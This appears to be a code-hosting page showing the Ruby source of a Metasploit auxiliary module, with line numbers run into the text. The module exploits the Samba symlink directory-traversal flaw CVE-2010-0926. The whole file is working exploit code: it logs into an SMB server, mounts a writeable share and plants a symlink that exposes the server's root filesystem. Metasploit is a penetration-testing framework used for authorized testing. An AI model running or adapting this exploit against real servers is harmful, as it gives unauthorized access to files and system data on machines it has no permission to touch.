Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/smb/samba_symlink_traversal.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67# Exploit mixins should be called first8include Msf::Exploit::Remote::SMB::Client9include Msf::Auxiliary::Report1011# Aliases for common classes12SIMPLE = Rex::Proto::SMB::SimpleClient13XCEPT = Rex::Proto::SMB::Exceptions14CONST = Rex::Proto::SMB::Constants151617def initialize18super(19'Name' => 'Samba Symlink Directory Traversal',20'Description' => %Q{21This module exploits a directory traversal flaw in the Samba22CIFS server. To exploit this flaw, a writeable share must be specified.23The newly created directory will link to the root filesystem.24},25'Author' =>26[27'kcope', # http://lists.grok.org.uk/pipermail/full-disclosure/2010-February/072927.html28'hdm' # metasploit module29],30'References' =>31[32['CVE', '2010-0926'],33['OSVDB', '62145'],34['URL', 'http://www.samba.org/samba/news/symlink_attack.html']35],36'License' => MSF_LICENSE37)3839register_options([40OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server']),41OptString.new('SMBTARGET', [true, 'The name of the directory that should point to the root filesystem', 'rootfs'])42])4344deregister_options('SMB::ProtocolVersion')45end464748def run49print_status("Connecting to the server...")50connect(versions: [1])51smb_login()5253print_status("Trying to mount writeable share '#{datastore['SMBSHARE']}'...")54self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")5556print_status("Trying to link '#{datastore['SMBTARGET']}' to the root filesystem...")57self.simple.client.symlink(datastore['SMBTARGET'], "../" * 10)5859print_status("Now access the following share to browse the root filesystem:")60print_status("\t\\\\#{rhost}\\#{datastore['SMBSHARE']}\\#{datastore['SMBTARGET']}\\")61print_line("")62end63end646566